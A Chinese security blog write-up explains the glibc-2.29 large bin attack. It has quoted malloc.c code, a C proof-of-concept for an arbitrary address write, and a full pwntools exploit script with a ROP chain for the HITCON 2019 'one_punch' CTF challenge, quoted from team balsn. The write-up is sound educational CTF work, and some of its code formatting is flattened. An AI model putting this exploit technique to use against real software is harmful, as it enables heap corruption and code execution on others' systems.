该方法并非笔者发现,而是阅读 balsn 的 writeup 时分析而得到的,这里介绍一下这种攻击方法。
unsorted bin attack的原理是利用 unsortedbin 在解链时,对 fd 指针的操作,直接的作用就是可以任意地址写入一个 main_arena 地址值,非常好用的攻击方法。虽然 glibc-2.29 不能使用 unsorted bin attack 了,但是 large bin attack 或许可以成为它的代替品。
glibc-2.29 的 large bin attack 和先前的并不完全一样,但是原理类似。
其主要发生在 large bin 的 nextsize 成环时,没有对其进行检查,所以只要存在 UAF 漏洞,就能修改 nextsize 指针进行任意地址写入 chunk 地址的操作。
漏洞主要发生在下列代码(来自 glibc-2.29/malloc/malloc.c:3841 ):
victim_index = largebin_index (size); bck =bin_at (av, victim_index); fwd =bck->fd; /* maintainlarge bins in sorted order */ if (fwd !=bck) { /* Orwith inuse bit to speed comparisons */ size |=PREV_INUSE; /* if smaller than smallest, bypassloop below */ assert(chunk_main_arena (bck->bk)); if ((unsignedlong) (size) < (unsigned long)chunksize_nomask (bck->bk)); { fwd= bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; // one fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize =victim; } else { assert (chunk_main_arena (fwd)); while((unsigned long) size < chunksize_nomask (fwd)) { fwd = fwd->fd_nextsize; assert(chunk_main_arena (fwd)); } // but size must be different if((unsigned long) size == (unsigned long)chunksize_nomask (fwd)) /*Always insert in the second position. */ fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; // two } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim;
large bin 是以 victimindex 为单位进行 nextsize 之间的成环操作,每个 victimindex 的长度是 0x40,上面的代码是 unsorted bin 进行归位 操作时,将 本属于该环的 victim 插入到该环中。但是这里却没有unsorted bin 那样对指针进行检查。
由于 large bin 是双向链表,插入操作并不会对整个环进行检查,这里我们只需要劫持 其bk_nextsize 指针,那么在插入的时候,程序便会把该假的地址当成一个真的 chunk 从而进行双向链表插入操作,这样就会使得该要插入的 chunk 将会留下它的地址到我们 设置的任意地址。
其核心代码是victim->bk_nextsize = fwd->fd->bk_nextsize; // one或者victim->bk_nextsize->fd_nextsize = victim; // two,就是在这里完成了写操作,具体执行哪段代码还要取决与两个chunk 的size 比较。
这里提醒一点,两个chunk 的size不能相同,否则会执行下面程序流而导致不能实现我们的目的。
if ((unsigned long) size == (unsigned long)chunksize_nomask (fwd)) /* Always insertin the second position. */ fwd = fwd->fd;
其次是 large bin 的 fdnextsize 需要设置为0,否则程序流会执行到下面的代码进行unlink 操作,那么就无法通过 unlink 对 large bin 的 bknextsize 和fd_nextsize 检查。
来自 glibc-2.29/malloc/malloc.c:4049
size = chunksize(victim); /* We know the first chunk in this bin is bigenough to use. */ assert ((unsignedlong) (size) >= (unsigned long) (nb)); remainder_size =size - nb; /* unlink */ unlink_chunk (av,victim);
#include <stdio.h> #include <stdlib.h> size_t buf[0x10]; int main() { size_t *ptr,*ptr2, *ptr3; setbuf(stdout, NULL); ptr = malloc(0x438); malloc(0x18); ptr2 = malloc(0x448); malloc(0x18); free(ptr); // put ptr intolarge bin malloc(0x600); free(ptr2); ptr[2] = 0; ptr[3] = (size_t)&buf[0]; printf("buf[4]:0x%lxn", buf[4]); ptr3 = malloc(0x68); printf("buf[4]:0x%lxn", buf[4]); return 0; }
buf[4]就相当于 fakechunk->fdnextsize 指针,指向该节点的上一个节点。
执行结果如下所示:
buf[4]: 0x0 buf[4]: 0x560075a246b0
文件链接:https://github.com/Ex-Origin/ctf-writeups/tree/master/hitconctf2019/pwn/onepunchman。
该程序主要的漏洞就是在delete时没有清理指针,导致UAF。
void delete() { unsigned int v0; //[rsp+Ch] [rbp-4h] write_str("idx:"); v0 = get_int(); if ( v0 > 2 ) error((__int64)"invalid"); free((void*)heros[v0].calloc_ptr); }
程序预置了后门函数,但是在tcache上有限制,必须要我们劫持tcache_perthread_struct才行,这里有两种思路,我自己的做法是劫持tcache_perthread_struct->entries,这里由于和本文章关系不大,这里我简要说下核心思路:利用tcache_perthread_struct->counts 伪造 size,然后利用 unlink 使得chunk overlap,然后控制其tcache_perthread_struct->entries。
第二种做法就是 balsn 战队的做法,很优秀的方法,核心思路就是利用large bin attack
修改 tcache_perthread_struct->counts 来使用预置后门,然后用add 当中的缓冲区进行 ROP。
下面是 balsn 的脚本
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import sys import time import random host = '52.198.120.1' port = 48763 r = process('./one_punch') binary = "./one_punch" context.binary = binary elf = ELF(binary) try: libc = ELF("./libc-2.29.so") log.success("libcload success") system_off =libc.symbols.system log.success("system_off= "+hex(system_off)) except: log.failure("libcnot found !") def name(index, name): r.recvuntil(">") r.sendline("1") r.recvuntil(":") r.sendline(str(index)) r.recvuntil(":") r.send(name) pass def rename(index,name): r.recvuntil(">") r.sendline("2") r.recvuntil(":") r.sendline(str(index)) r.recvuntil(":") r.send(name) pass def d(index): r.recvuntil(">") r.sendline("4") r.recvuntil(":") r.sendline(str(index)) pass def show(index): r.recvuntil(">") r.sendline("3") r.recvuntil(":") r.sendline(str(index)) def magic(data): r.recvuntil(">") r.sendline(str(0xc388)) time.sleep(0.1) r.send(data) # if len(sys.argv) == 1: # r =process([binary, "0"],env={"LD_LIBRARY_PATH":"."}) # else: # r = remote(host,port) if __name__ == '__main__': name(0,"A"*0x210) d(0) name(1,"A"*0x210) d(1) show(1) r.recvuntil("name: ") heap =u64(r.recv(6).ljust(8,"x00")) - 0x260 print("heap= {}".format(hex(heap))) for i in xrange(5): name(2,"A"*0x210) d(2) name(0,"A"*0x210) name(1,"A"*0x210) d(0) show(0) r.recvuntil("name: ") libc =u64(r.recv(6).ljust(8,"x00")) - 0x1e4ca0 print("libc= {}".format(hex(libc))) d(1) rename(2,p64(libc+ 0x1e4c30)) name(0,"D"*0x90) d(0) for i in xrange(7): name(0,"D"*0x80) d(0) for i in xrange(7): name(0,"D"*0x200) d(0) name(0,"D"*0x200) name(1,"A"*0x210) name(2,p64(0x21)*(0x90/8)) rename(2,p64(0x21)*(0x90/8)) d(2) name(2,p64(0x21)*(0x90/8)) rename(2,p64(0x21)*(0x90/8)) d(2) d(0) d(1) name(0,"A"*0x80) name(1,"A"*0x80) d(0) d(1) name(0,"A"*0x88+ p64(0x421) + "D"*0x180 ) name(2,"A"*0x200) d(1) d(2) name(2,"A"*0x200) rename(0,"A"*0x88+ p64(0x421) + p64(libc + 0x1e5090)*2 + p64(0) + p64(heap+0x10) ) d(0) d(2) // pause() name(0,"/home/ctf/flagx00x00"+ "A"*0x1f0) magic("A") add_rsp48 = libc+ 0x000000000008cfd6 pop_rdi = libc + 0x0000000000026542 pop_rsi = libc + 0x0000000000026f9e pop_rdx = libc + 0x000000000012bda6 pop_rax = libc + 0x0000000000047cf8 syscall = libc + 0xcf6c5 magic(p64(add_rsp48)) name(0,p64(pop_rdi)+ p64(heap + 0x24d0) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) +p64(syscall) + p64(pop_rdi)+ p64(3) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax)+ p64(0) + p64(syscall) + p64(pop_rdi)+ p64(1) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax)+ p64(1) + p64(syscall) ) r.interactive()
在上面的// pause()处暂停,查看其bin情况。
pwndbg> largebins largebins 0x400: 0x56224269a4c0 —▸ 0x7f455f1dd090 (main_arena+1104)◂—0x56224269a4c0 pwndbg> x/6gx 0x56224269a4c 00x56224269a4c0: 0x4141414141414141 0x0000000000000421 0x56224269a4d0: 0x00007f455f1dd090 0x00007f455f1dd090 0x56224269a4e0: 0x0000000000000000 0x0000562242698010 pwndbg>
这里构造好了 large bin attack,当进行 unsorted bin 归位时,便会修改tcache_perthread_struct->counts。
本文作者:星盟安全团队
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/118627.html